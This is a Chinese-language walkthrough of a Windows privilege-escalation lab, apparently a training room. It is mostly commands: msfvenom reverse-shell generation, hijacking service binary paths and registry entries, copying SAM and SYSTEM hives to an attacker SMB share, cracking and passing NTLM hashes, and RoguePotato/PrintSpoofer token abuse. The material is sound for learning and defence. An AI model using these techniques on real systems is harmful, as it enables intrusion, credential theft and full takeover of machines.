xfreerdp /u:user /p:password321 /v:10.10.169.4 /dynamic-resolution

生成反向Shell可执行文件

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.38.245 LPORT=1234 -f exe -o reverse.exe

生成exe反弹shell

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

开启一个本地SMB共享服务器用于传输文件,共享名叫作kali

CMD中:

copy \\10.11.38.245\kali\reverse.exe C:\PrivEsc\reverse.exe

kali开启监听

cmd执行:

C:\PrivEsc\reverse.exe

收到反弹shell

服务漏洞

不安全的服务权限

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

使用accesschk.exe检查“user”帐户对“daclsvc”服务的权限

RW daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL

有以上权限

sc qc daclsvc

查看服务的配置

原始的执行文件路径是C:\Program Files\DACL Service\daclservice.exe

SERVICE_CHANGE_CONFIG是更改服务配置的权限

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

设置服务执行的可执行文件为之前创建的反弹shell

开启监听

net start daclsvc

开启服务。收到反弹shell

未引用的服务路径

sc qc unquotedsvc

查看服务配置

看到原始的执行文件是C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

文件路径存在空格

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" 

查看权限,发现我们在这个目录有可写的权限

输出解释:

  • C:\Program Files\Unquoted Path Service: 这是目标目录的路径。
  • Medium Mandatory Level (Default) [No-Write-Up]: 这是目录的强制完整性级别,通常为 “Medium”。”[No-Write-Up]” 表示没有写入权利,即用户不能写入该目录。
  • RW BUILTIN\Users: 这表示 “BUILTIN\Users” 组具有该目录的读取和写入权限。
  • RW NT SERVICE\TrustedInstaller: 这表示 “NT SERVICE\TrustedInstaller” 用户具有该目录的读取和写入权限。这通常是由操作系统使用的特权用户。
  • RW NT AUTHORITY\SYSTEM: 这表示 “NT AUTHORITY\SYSTEM” 用户具有该目录的读取和写入权限。这也是一个高特权的系统用户。
  • RW BUILTIN\Administrators: 这表示 “BUILTIN\Administrators” 组具有该目录的读取和写入权限。这通常是本地管理员组的成员。
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

利用目录空格解析问题,生成一个Common.exe,Common Files会被解析成Common.exe

开启监听,开启服务

net start unquotedsvc

收到反弹shell

注册表权限薄弱

sc qc regsvc

查询注册表的配置,发现是以管理员权限运行的

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

发现能被NT AUTHORITY\INTERACTIVE组(也就是所有用户)更改

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

将regsvc的执行文件改成反弹shell

开启监听,开启服务

net start regsvc

收到反弹shell。看到服务的路径也存在空格,可以用上一个方法来反弹shell

不安全的服务可执行文件

sc qc filepermsvc
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

一样的操作

注册表

自动运行

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

查看注册表中在系统启动时自动运行的程序列表

查询注册表中的 AutoRun 可执行文件

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

kali开启监听

rdesktop 10.10.225.163

重启机器后再次远程登录,收到反弹shell

AlwaysInstallElevated

AlwaysInstallElevated 是 Windows 系统中的一个注册表项,它控制着普通用户是否能够使用 Windows Installer Service(即MSI安装程序)以管理员权限安装或卸载程序。

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

查询注册表中的 AlwaysInstallElevated 密钥

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

生成msi安装格式的反弹shell

copy \\10.11.38.245\kali\reverse.msi C:\PrivEsc\reverse.msi
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

收到反弹shell

密码

注册表

reg query HKLM /f password /t REG_SZ /s

在注册表中搜索密码的键和值

或者:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

直接在相关路径查询

winexe -U 'admin%password' //10.10.245.145 cmd.exe

在 Kali 上,使用 winexe 命令生成一个以管理员权限运行的cmd

因为房间的原因密码可能不会存储在注册表

保存的信用

cmdkey /list

列出所有已保存的凭据

开启监听

runas /savecred /user:admin C:\PrivEsc\reverse.exe

runas是以别的用户身份来运行程序

安全账户管理器 (SAM)

copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

复制错误存放的SAM和SYSTEM到kali

git clone https://github.com/Tib3rius/creddump7

下载脚本

git clone https://github.com/Tib3rius/creddump7
pip3 install pycrypto
python3 creddump7/pwdump.py SYSTEM SAM

得到NTLM哈希a9fdfa038c4b75ebc76dc855dd74f0da

hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

Pass the Hash

pth-winexe -U 'admin%hash' //10.10.245.145 cmd.exe

直接利用哈希生成一个管理员身份的cmd,passthehash在evil-winrm也能用

计划任务

type C:\DevTools\CleanUp.ps1

查看这个脚本,注释说每分钟都会执行

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

查看权限,拥有读写的权限

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

将 C:\PrivEsc\reverse.exe 的路径附加到 C:\DevTools\CleanUp.ps1 文件的末尾,会执行反弹shell,开启监听,马上就收到了shell

不安全的 GUI 应用程序

看到桌面有一个adminpaint,打开提示以管理员身份运行

tasklist /V | findstr mspaint.exe

查找这个进程的一些详细信息

在画图界面的右上角,文件-打开。记得打开all-files,搜索c:/windows/system32/cmd.exe,然后右键open,发现是管理员身份

启动应用程序

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

发现startup目录有写入的权限

cscript C:\PrivEsc\CreateShortcut.vbs

利用房间给的脚本,在StartUp目录中创建反向.exe 可执行文件的新快捷方式,开启监听,重启机器,然后

rdesktop -u admin 10.10.156.214

令牌冒充

Rogue Potato

sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.156.214:9999

用socat做了个端口转发,将靶机的9999端口转发到靶机的135端口

xfreerdp /u:admin /p:password123 /v:10.10.156.214 /dynamic-resolution

以admin身份登录,搜索cmd,右键以管理员身份打开,kali开启监听

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

以”nt authority\local service” 用户的身份收到一个反弹shell

woami /all

发现我们有SeImpersonatePrivilege(模拟令牌)的权限

kali再开一个nc监听,端口和反弹shell里面一样,我这里用的都是1234。

C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999

收到反弹shell,管理员身份

或者有SeAssignPrimaryTokenPrivilege特权也可以利用这个Rogue Potato方式提权

PrintSpoofer

和上个任务一样需要SeImpersonatePrivilege特权

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

先获得local serviece权限

开启另一个监听

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i

直接提权

碎碎念

闲暇之余,再次过了比较系统地整理Windows提权的一些常用方式。这次比初次学习win提权相对来说熟练了许多,对于一些win的操作系统和命令都能理解。